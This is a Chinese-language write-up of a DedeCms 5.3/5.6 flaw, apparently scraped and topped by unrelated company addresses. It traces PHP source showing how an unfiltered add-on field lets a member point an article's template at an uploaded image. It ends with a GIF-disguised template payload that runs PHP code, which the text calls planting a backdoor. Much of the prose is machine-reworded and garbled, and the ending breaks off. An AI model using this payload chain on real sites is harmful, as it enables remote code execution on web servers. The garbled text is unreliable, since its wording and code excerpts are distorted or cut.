成都公司:成都市成华区建设南路160号1层9号
重庆公司:重庆市江北区红旗河沟华创商务大厦18楼
DedeCms 基于PHP+MySQL的技术开发
DEDECMS 5.3/5.6
缝隙描绘:
DedeCms 根据PHP+MySQL的技术开发,撑持Windows、Linux、Unix等多种服务器平台,从2004年开端发布第一个版别开端,至今曾经发布了五个大版别。DedeCms以简略、强健、灵敏、开源几大特色占据了国内CMS的大部份商场,当前曾经有超越二十万个站点正在运用DedeCms或居于 DedeCms中心,是当前国内使用最广泛的php类CMS体系。

article_add.php
1. ........................
2. else if($dopost=='save')
3. {
4. include(DEDEMEMBER.'/inc/archives_check.php');
5.
6. //剖析处置附加表数据
7. $inadd_f = $inadd_v = '';
8. if(!emptyempty($dede_addonfields))
9. {
10. $addonfields = explode(';',$dede_addonfields);
11. ............................................ //省掉部份代码
12. $inadd_f .= ','.$vs[0];
13. $inadd_v .= " ,'".${$vs[0]}."' ";
14. }
15. }
16. }
17. ..........................................
18. $addtable = trim($cInfos['addtable']);
19. if(emptyempty($addtable))
20. {
21. ......................................
22. }
23. else
24. {
25. $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
26. if(!$dsql->ExecuteNoneQuery($inquery))
27. {
28. ..........................................
29. }
30. }
31. ..........................................
32. $artUrl = MakeArt($arcID,true); //使用当地(arc.archives.functions.php有界说)
33.
34.
35. function MakeArt($aid,$ismakesign=false)
36. {
37. global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
38. include_once(DEDEINC.'/arc.archives.class.php');
39. if($ismakesign)
40. {
41. $envs['makesign'] = 'yes';
42. }
43. $arc = new Archives($aid);
44. $reurl = $arc->MakeHtml(); //arc.archives.class.php有界说
45. ............................
46. }
arc.archives.class.php
1. class Archives
2. {
3. ................
4. function __construct($aid)
5. {
6. ............
7. if($this->ChannelUnit->ChannelInfos['addtable']!='')
8. {
9. $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
10. $this->addTableRow = $this->dsql->GetOne($query);
11. }
12. ........................
13. if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
14. {
15. if(is_array($this->addTableRow))
16. {
17. ...............................
18. $this->Fields['templet'] = $this->addTableRow['templet'];//注重1
19. ......................................
20. }
21. }
22. .............................
23. }
24.
25. function MakeHtml($isremote=0)
26. {
27. global $cfg_remote_site,$fileFirst;
28. if($this->IsError)
29. {
30. return '';
31. }
32. $this->Fields["displaytype"] = "st";
33. //预编译$th
34. $this->LoadTemplet(); //触发1
35.
36. ......................................//省掉部份代码
37. $this->ParseDMFields($i,1);
38. $this->dtp->SaveTo($truefilename); //触发2
39. ......................................
40. }
41. 持续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有界说
42.
43. function LoadTemplet()
44. {
45. if($this->TempSource=='')
46. {
47. $tempfile = $this->GetTempletFile(); //注重2
48. if(!file_exists($tempfile) || !is_file($tempfile))
49. {
50. echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
";
51. echo "模板文件不存在,无法解析文档!";
52. exit();
53. }
54. $this->dtp->LoadTemplate($tempfile); //触发3
55. $this->TempSource = $this->dtp->SourceString;
56. }
57. else
58. {
59. $this->dtp->LoadSource($this->TempSource);
60. }
61. }
62.
63. 看注重2 的$this->GetTempletFile() //arc.archives.class.php有界说
64.
65. function GetTempletFile()
66. {
67. global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
68. $cid = $this->ChannelUnit->ChannelInfos['nid'];
69. if(!emptyempty($this->Fields['templet'])) //注重3
70. {
71. $filetag = MfTemplet($this->Fields['templet']);
72. if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
73. }
74. else
75. {
76. $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
77. }
78. .......................................
79. if($cid=='spec')
80. {
81. if( !emptyempty($this->Fields['templet']) )
82. {
83. $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
84. }
85. else
86. {
87. $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
88. }
89. }
90. ...........................................
91. return $tmpfile;
92. }
注重3中的值来自注重1是经过查表得来的,操控了它就等于操控了恣意模板,然后经过触发3来触发缝隙
看下怎样操控注重1的值
article_edit.php
1. ......................
2. else if($dopost=='save')
3. { ....................
4. if(!emptyempty($dede_addonfields))
5. {
6. $addonfields = explode(';',$dede_addonfields);
7. if(is_array($addonfields))
8. {
9. ........................
10. ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
11. $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
12.
13. }
14. }
15. ...................
16. if($addtable!='')
17. {
18. $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
19. if(!$dsql->ExecuteNoneQuery($upQuery))
20. {..............
21. }
22. }
23. ....................
24. }
$dede_addonfields没有过滤,咱们可以结构$inadd_f为,templet='上传的模板图片地址',包括咱们的图片后,再经过触发2来生成图片里的后门!
-
本站供给顺序(办法)能够带有攻击性,仅供安全研讨与教育之用,危险自傲! Gif89a{dede:field name='toby57' runphp='yes'}-
phpinfo();-
{/dede:field}-
保存为1.gif-
-
1.
-
-
-
-
-

